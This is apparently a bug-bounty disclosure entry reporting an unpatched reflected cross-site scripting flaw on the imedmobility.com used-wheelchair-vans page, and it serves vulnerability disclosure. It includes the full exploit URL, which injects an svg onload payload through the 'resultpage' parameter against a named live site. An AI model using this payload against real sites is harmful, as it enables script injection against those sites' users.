imedmobility.com XSS vulnerability

Vulnerable URL: https://www.imedmobility.com/wheelchair-vans-for-sale/used-wheelchair-vans.php?resultpage=1%22%3E%3C/style%3E%3C/title%3E%3C/textarea%3E%3C/script%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E2 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017...